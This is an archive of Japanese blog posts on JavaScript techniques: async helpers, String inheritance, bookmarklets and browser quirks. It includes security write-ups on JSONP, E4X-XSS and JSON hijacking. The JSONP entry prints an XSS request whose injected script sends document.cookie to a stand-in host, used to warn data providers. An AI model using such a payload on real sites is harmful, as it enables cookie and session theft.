2009年01月30日

「自由な情報」のためのウェブブラウザ

 昨日開催された Google Chrome Out of Beta Party で、「「自由な情報」のためのウェブブラウザ」というタイトルで LightningTalk をさせていだたきました。内容としては、世界初?だった Google Chrome 用拡張ソフト GreasemetalJapanize といった、サイボウズ・ラボで携わっているソフトウェア/サービスを題材に、ウェブブラウザへの (ちょっと個人的な) 想いを語ったものとなっています。


[最初から] [戻る] [次へ] [PowerPoint]

 なお、中で出てくる「情報は自由を欲している (Information Wants to Be Free)」というフレーズについては、情報は自由を欲しているけれど - steps to phantasienの訳を参考にさせていただきました。この場を借りて、御礼申し上げます。

PS. Greasemetal につきましては、Google Chrome 本体で userscript がサポートされる方向なので (そのほうが技術的にも筋がいい)、そちらをお使いいただきますようお願いいたします (参考: HOW TO: Install Google Chrome Greasemonkey Scripts (Windows Only) - Mashable)。

投稿者 kazuho : 2009年01月30日 18:37 | コメント (2) | トラックバック (0) このエントリーを含むはてなブックマーク このエントリーを含むはてなブックマーク

2007年11月08日

Re: for 文を setTimeout に変換する

 for 文を setTimeout に変換する - IT戦記の件。おもしろい。自分だったらこう書くかなと思いました。

続きを読む "Re: for 文を setTimeout に変換する"

投稿者 kazuho : 2007年11月08日 16:19 | トラックバック (2) このエントリーを含むはてなブックマーク このエントリーを含むはてなブックマーク

2007年06月19日

Japanize インストール済の Safari で apple.com/downloads にアクセスすると落ちる件

 Japanize の利用者の方からお伺いして調べていたのですが、どうも addEventListener した状態での cloneNode の動作が怪しいような印象を受けました。WebKit の nightly build では発生しないので、たぶん次期リリースで修正されると思うのですが、Japanize ではとりあえず、AppleWebKit/522 より前の Safari 系ブラウザのみについて、addEventListener しないよう、User JavaScript 版の動作を変更しました。

 以上、お知らせいたします。

投稿者 kazuho : 2007年06月19日 15:21 | コメント (3) | トラックバック (0) このエントリーを含むはてなブックマーク このエントリーを含むはてなブックマーク

2007年05月25日

JavaScript/1.7 で協調的マルチスレッド

 JavaScript/1.7 の話なので Firefox 限定です。以前、

 残念ながら、JavaScript には非同期メッセージを同期化する方法はない!残念!><ほんとに残念!

 JavaScript 1.7 なら yield でできるんじゃないかと思いました。

Kazuho@Cybozu Labs: JavaScript で非同期処理

と書いたっきり失念していたのですが、社内で話題になったので実装してみました。こんな感じです。

続きを読む "JavaScript/1.7 で協調的マルチスレッド"

投稿者 kazuho : 2007年05月25日 13:47 | トラックバック (1) このエントリーを含むはてなブックマーク このエントリーを含むはてなブックマーク

2007年03月14日

JavaScript から Flash の便利な機能を使う方法

先月・今月と新しいメンバーが加わったサイボウズ・ラボですが、いま社内でfont-familyが密かなブームです。ということで、ブラウザで使用できるフォント名一覧をJavaScriptで取得する方法について調べてみました。
(中略)
■ 2. Flash の TextField.getFontList() を JavaScript から呼び出す

(TAKESAKO @ Yet another Cybozu Labs: JavaScriptでフォント名一覧を取得する3つの方法)

 JavaScript から Flash のちょっとした機能を呼び出すためだけに、毎回 Flash 使いの人にお願いするのを心苦しく思うようになったので、汎用的な SWF を作ってみました。

続きを読む "JavaScript から Flash の便利な機能を使う方法"

投稿者 kazuho : 2007年03月14日 15:29 | トラックバック (2) このエントリーを含むはてなブックマーク このエントリーを含むはてなブックマーク

2007年01月12日

JSONP - データ提供者側のセキュリティについて

 JSONP のセキュリティは、ともすればインクルードする側についての議論になりがちであり、その影でインクルードされる側のリスクが見過ごされがちです。JSONP の使用にあたっては、データ提供者への XSS に注意する必要があります。脆弱な例としては、以下のようなものがあります。

GET /json.cgi/append.html?padding=%3Cscript%3Elocation='http://example.jp/'%2Bdocument.cookie%3C/script%3E HTTP/1.0
Host: example.com

HTTP/1.0 200 OK
Content-Type: text/javascript; charset=utf-8

<script>location='http://example.jp/'+document.cookie</script>({ ... })

 この例の URL を Internet Explorer で直接アクセスすると、クエリ文字列から注入されたスクリプトが実行され、example.com のクッキーが example.jp によって詐取されます。なぜそうなるのでしょう?

続きを読む "JSONP - データ提供者側のセキュリティについて "

投稿者 kazuho : 2007年01月12日 15:05 | コメント (3) | トラックバック (1) このエントリーを含むはてなブックマーク このエントリーを含むはてなブックマーク

2007年01月10日

E4X-XSS 脆弱性について

 Firefox でサポートされている JavaScript 拡張 E4X (ECMA-357) では、JavaScript 内に XML とほぼ同様のマークアップ言語を記述できるようになっています。しかし、マークアップ言語の解釈にはいくつかの違いがあり、この点をついたクロスサイトスクリプティングの可能性が (相当に小さいものの) 存在します。攻撃者は、

  1. ウェブアプリケーションに E4X として解釈した場合に実行コードとして解釈されるコードを注入 (XSS) し、
  2. 1 のコンテンツを <script> タグを用いて参照するような別のウェブサイトを用意し、攻撃対象にアクセスさせる (受動的攻撃)
ことで、秘密情報を詐取することができます。

続きを読む "E4X-XSS 脆弱性について"

投稿者 kazuho : 2007年01月10日 12:37 | トラックバック (1) このエントリーを含むはてなブックマーク このエントリーを含むはてなブックマーク

2007年01月06日

安全な JSON, 危険な JSON (Cross-site Including?)

 先のエントリで、

JSON については、JavaScript として副作用をもたない (もたせようがない) ゆえに文法違反であるがゆえに、秘密情報を含むデータフォーマットとして使用することができるのです。

(Kazuho@Cybozu Labs: クロスサイトのセキュリティモデル)

と書いたのですが、認識が甘かったようです。Jeremiah Grossman: Advanced Web Attack Techniques using GMail によると、配列の初期化演算子 [] の動作を外部から変更することができる注1とのこと。

 実際に手元の Firefox 1.5 で試してみたところ、JSON データが配列として返される場合は、サイトをまたいで参照できるようです。コードは下記のとおり。

続きを読む "安全な JSON, 危険な JSON (Cross-site Including?)"

投稿者 kazuho : 2007年01月06日 10:07 | トラックバック (0) このエントリーを含むはてなブックマーク このエントリーを含むはてなブックマーク

2006年12月15日

Re: 拡張機能やXPCOMコンポーネントのテンプレを生成するウィザード

 Firefoxの拡張機能を作る時というのはだいたい定型的なパターンというのがあって、そういう雛型というかテンプレートというかを自動で生成してくれるようなものがあれば開発の敷居が下がるんじゃないかなあ、と思ってたら、そういうものをflyson氏が紹介されてたTab Catalogの元になってるTab Previewの作者のTed Mielczarek氏によるものだそうで。拡張機能だけでなく、JavaScript製XPCOMコンポーネントのテンプレ生成ウィザードもあった。

(中略)

 誰か日本語化キボン。ていうかJapanizeあたりが有望か?

Latest topics > 拡張機能やXPCOMコンポーネントのテンプレを生成するウィザード - outsider reflex

 これは便利だ、ということで Japanize してみました。やっぱり、「Add MPL/GPL/LGPL tri-license headers」のようなパターンの翻訳に対応できていないのは問題かも、と思いました。

投稿者 kazuho : 2006年12月15日 11:10 | トラックバック (0) このエントリーを含むはてなブックマーク このエントリーを含むはてなブックマーク

2006年12月14日

setTimeout をオブジェクト指向にしてみる

 setTimeout と setInterval が window オブジェクトのプロパティなのは、それがブラウザの機能であって言語処理系自体の機能でないことを考えれば当然だと思います。しかし、それがゆえか、this が引き継げなかったり、IE では引数が渡せなかったりといった不便があります。どうせだったら、こうなっていたらよかったのにね、ということで、Function.prototype をイジってみました。すでにありそうなネタですが (苦笑)

続きを読む "setTimeout をオブジェクト指向にしてみる"

投稿者 kazuho : 2006年12月14日 14:06 | コメント (5) | トラックバック (0) このエントリーを含むはてなブックマーク このエントリーを含むはてなブックマーク

2006年11月30日

JavaScript で非同期処理

 setTimeout って、JavaScript の黒歴史だよね、ってのはおいといて。IT戦記 - 関数を非同期化して汎用性を高めるを見て、おもしろそうだったので汎用化してみました。でも、あまり実用性がなさそうです。

function async(wait) {
    if (arguments.length == 1) return;
    var conn = arguments[arguments.length - 1];
    for (var i = arguments.length - 2; i != 0; i--) {
        conn = (function (f, c) {
            return function () {
                var args = [ f.apply(null, arguments) ];
                setTimeout(
                    function () {
                        c.apply(null, args);
                    },
                wait);
            };
        })(arguments[i], conn);
    }
    conn();
}

async(
    10,
    function () { return 'a'; },
    function (x) { return x + 'b'; },
    function (x) { return x + 'c'; },
    function (x) { alert(x); });

 

 残念ながら、JavaScript には非同期メッセージを同期化する方法はない!残念!><ほんとに残念!

 JavaScript 1.7 なら yield でできるんじゃないかと思いました。

投稿者 kazuho : 2006年11月30日 10:58 | コメント (2) | トラックバック (1) このエントリーを含むはてなブックマーク このエントリーを含むはてなブックマーク

2006年11月07日

JavaScript の文字列定数でエスケープが必要な文字

 Re: Mozilla Firefox の JavaScript インタプリタが特定文字を読み落とす件、ということでまとめ。

 JavaScript の文字列定数でエスケープが必要な文字は、下表のとおりウェブブラウザによって異なるようです。

続きを読む "JavaScript の文字列定数でエスケープが必要な文字"

投稿者 kazuho : 2006年11月07日 06:45 | トラックバック (0) このエントリーを含むはてなブックマーク このエントリーを含むはてなブックマーク

2006年11月06日

Mozilla Firefox の JavaScript インタプリタが特定文字を読み落とす件 (JSON のエスケープ)

 Japanize において、ペルシア語の翻訳が一部動作しない問題注1を調査していたのですが、Mozilla Firefox (SpiderMonkey) は、JavaScript の文字列リテラル中の U+200C あたりを読み落とすようです注2

 たとえばこのスクリプトは 1 を返すべきだと思うのですが、 Firefox でクリックすると結果は 0 です。IE と Opera は大丈夫。

javascript:eval('var s = "\u200c"'); alert(s.length)

続きを読む "Mozilla Firefox の JavaScript インタプリタが特定文字を読み落とす件 (JSON のエスケープ) "

投稿者 kazuho : 2006年11月06日 15:57 | トラックバック (0) このエントリーを含むはてなブックマーク このエントリーを含むはてなブックマーク

2006年10月23日

JavaScript のベンチマーク

 Japanize 等の関係で、最近 JavaScript のベンチマークを取る機会が増えてきました。今までは毎回ワンライナーを書いて計測してきたのですが、そろそろめんどくさくなってきたので、 HTML Form にしてみました。

続きを読む "JavaScript のベンチマーク"

投稿者 kazuho : 2006年10月23日 12:01 | トラックバック (0) このエントリーを含むはてなブックマーク このエントリーを含むはてなブックマーク

2006年10月20日

re: javascript vs perl - オブジェクトのメモリー効率

というわけで、間違っていることを実証してみました。

javascript vs perl - オブジェクトのメモリー効率 - 404 Blog Not Found

 言語仕様のメモリ効率性を考えるのにあたって、(メモリの潤沢な環境向けの) 特定の実装間の比較をしても意味がないと思います。「perl のソースコードよりも SpiderMonkey のソースコードのほうが小さい」というような優劣の比較に (ほとんど) 意味がないのと同じです。

 また、シンセティックなベンチマークもどうかと思います。たとえば、弾さんのコードをちょっといじれば、以下のようにプロトタイプ指向 OO のメモリ効率の良さを強調したテストを作ることだってできるわけです (5つのメンバ変数のうち4つがデフォルト値であるようなオブジェクトの大量生成)。

続きを読む "re: javascript vs perl - オブジェクトのメモリー効率"

投稿者 kazuho : 2006年10月20日 04:31 | トラックバック (1) このエントリーを含むはてなブックマーク このエントリーを含むはてなブックマーク

2006年10月19日

JavaScript は、なぜプロトタイプベースなのか

 決して専門ではないので、以下、間違っていたら指摘してください。

 JavaScript がプロトタイプベースであることに対する一番妥当な説明は、クラスベースのオブジェクト指向言語よりもプロトタイプベースの言語のほうが、ランタイムの構造が単純になり、かつ、メモリ使用量が小さくなるからでしょう。

続きを読む "JavaScript は、なぜプロトタイプベースなのか"

投稿者 kazuho : 2006年10月19日 13:56 | コメント (1) | トラックバック (2) このエントリーを含むはてなブックマーク このエントリーを含むはてなブックマーク

2006年10月18日

JavaScript を学ぶ上で読むべきウェブサイト

 JavaScript について議論する際、良く挙げられる参照文献は ECMA-262 (日本語版) です。

 しかし、どちらかというと ECMA-262 は JavaScript の処理系を実装する人に向けた文書なので、JavaScript を使いたい人には向きません。

 私は、 JavaScript のユーザーには、mozilla developer center

が良いのではないか、と思っています。

 Mozilla のドキュメントかよ、と思うかもしれませんが、これらはいずれも Netscape DevEdge から引き継がれた、由緒正しき文書です。

 たとえば、オブジェクトの継承についても、理論的な説明に始まり、Plain Old JavaScript でどう書けばいいのか、丁寧に説明してあります 。もちろん、実際に JavaScript を書く際には prototype.js 等のラッパーを使ってもいいとは思いますが、元来のやり方を理解しておいて損はないと思います。

 また、古い JavaScript バージョンからの変更点についても書いてあるので、互換性を確認する際にも役に立ちます。

 なお、より古い JavaScript/1.3 当時の文書は、docs.sun.com に転がっています。 (Client-Side JavaScript Guide, Client-Side JavaScript Reference)

 人が何で勉強しているかは知らないので外しているかもしれませんが、参考まで。

2006/10/19追記: Core JavaScript 1.5 Guide の邦訳は、今月翻訳完了したばかりのようですね。訳者さんすごい。

投稿者 kazuho : 2006年10月18日 16:47 | コメント (2) | トラックバック (2) このエントリーを含むはてなブックマーク このエントリーを含むはてなブックマーク

JavaScript の String 型を継承する

 javascript - プロトタイプ的継承 (javascript - プロトタイプ的継承) について。

 結論から言うと、String 型も継承っぽいことができます。こんな感じ。

function String2(s) {
  this._s = s;
}
String2.prototype = new String();
String2.prototype.valueOf = String2.prototype.toString = function () { return this._s.toString(); }
String2.prototype.x = function (c) {
   var s = '';
   while (c--) s += this;
   return new String2(s);
}
var s2 = new String2("abc");
alert(s2.x(2).split(''));

 実体の持ち方が多少変わっちゃいます厳密に言うと継承とは違うんですが、valueOf と toString を除く全ての String.prototype.XXX は、任意の型を this として呼び出せるので、このように書くことができるのです。そのための注が、ECMA の各メンバ関数の説明にだらだらとついています。

14:32 変更: より直截な例に変更。

投稿者 kazuho : 2006年10月18日 14:14 | トラックバック (2) このエントリーを含むはてなブックマーク このエントリーを含むはてなブックマーク

2006年10月16日

JavaScript で Generic Programming

 再帰呼び出しのスタック間でデータを共有する場合は、以下のように仮引数を使わなければならない。

IT戦記 - Perl で再帰呼出し時のスタック間データ共有

 について、弾さんがクロージャを使って解決する方法を提示されています。それはそれでいいと思うのですが、JavaScript の場合は、もうひとつの書き方があります。Function.prototype.call を使う手です。

続きを読む "JavaScript で Generic Programming"

投稿者 kazuho : 2006年10月16日 11:23 | トラックバック (1) このエントリーを含むはてなブックマーク このエントリーを含むはてなブックマーク

2006年10月02日

Ajax な HTML ページのソースコードを表示する

 勢いだけで書く bookmarklet 第2弾です。

 多くのウェブブラウザでは、メニューからウェブページのソースコードを表示することができます。しかし、この方法で表示される HTML はダウンロード時のデータなので、Ajax を多用しているウェブサイトのコードを解析する際には役にたちません。

 Ajax により改変された、現在表示中の HTML のソースコードを確認するには、以下のようなブックマークレットを使うと便利です

 javascript:void(window.open('', '', 'scrollbars=yes,dependent=yes').document.write('<plaintext>' + document.body.innerHTML))

 Japanize の翻訳データ作成等にお使いいただければ幸いです。

注: ただし、表示されるのは <body> タグ内のみとなります

投稿者 kazuho : 2006年10月02日 11:55 | コメント (1) | トラックバック (4) このエントリーを含むはてなブックマーク このエントリーを含むはてなブックマーク

2006年09月26日

ウェブページを引用する時の JavaScript

 テキストエディタでスペースキーを連打してソースコードをインデントする私ですが、ウェブサイトの引用をする際にいちいち手でコピペするのが面倒になってきたので Bookmarklet にしました。

 このブックマークレットをウェブブラウザに登録しておき、引用したいときに実行すると、表示中のウェブページのタイトルと URL をクリップボードにコピーしてくれます。

 特に技術的におもしろいネタでもなんでもありませんが、使いたい方はどうぞ。

続きを読む "ウェブページを引用する時の JavaScript"

投稿者 kazuho : 2006年09月26日 16:58 | コメント (2) | トラックバック (0) このエントリーを含むはてなブックマーク このエントリーを含むはてなブックマーク

2006年09月13日

Wiki.Formatter in JavaScript

 というわけで、いまさら Wiki のフォーマッタを作りました。JavaScript で実装したので、クライアントサイドで整形することができます注1。なので、既存のウェブアプリを wiki 記法に対応させたいな、といった場合に便利だと思います注2。記法も自由に拡張できるようになっていますし。

というわけで、↓でお試しください (編集結果は保存されません)。

続きを読む "Wiki.Formatter in JavaScript"

投稿者 kazuho : 2006年09月13日 12:27 | トラックバック (0) このエントリーを含むはてなブックマーク このエントリーを含むはてなブックマーク

2006年03月24日

ASP で JSAN

 昨日投稿した JSAN のパッチが、あっさり本家 SVN に取り込まれました。これに気をよくして、今日も JSAN のハック。今度は ASP から JSAN を使えるようにするパッチを書いて投稿しました。 (Re: Using JSAN out of the Browser)

続きを読む "ASP で JSAN"

投稿者 kazuho : 2006年03月24日 13:31 | コメント (1) | トラックバック (0) このエントリーを含むはてなブックマーク このエントリーを含むはてなブックマーク

2006年03月23日

Windows Scripting Host で JavaScript のユニットテスト

 先週から JavaScript でウェブアプリケーションを開発しているのですが、そろそろベータ公開できるレベルになってきました。しかし、現在のコードはユニットテストをしていないため、品質に不安があります。

続きを読む "Windows Scripting Host で JavaScript のユニットテスト"

投稿者 kazuho : 2006年03月23日 16:19 | トラックバック (0) このエントリーを含むはてなブックマーク このエントリーを含むはてなブックマーク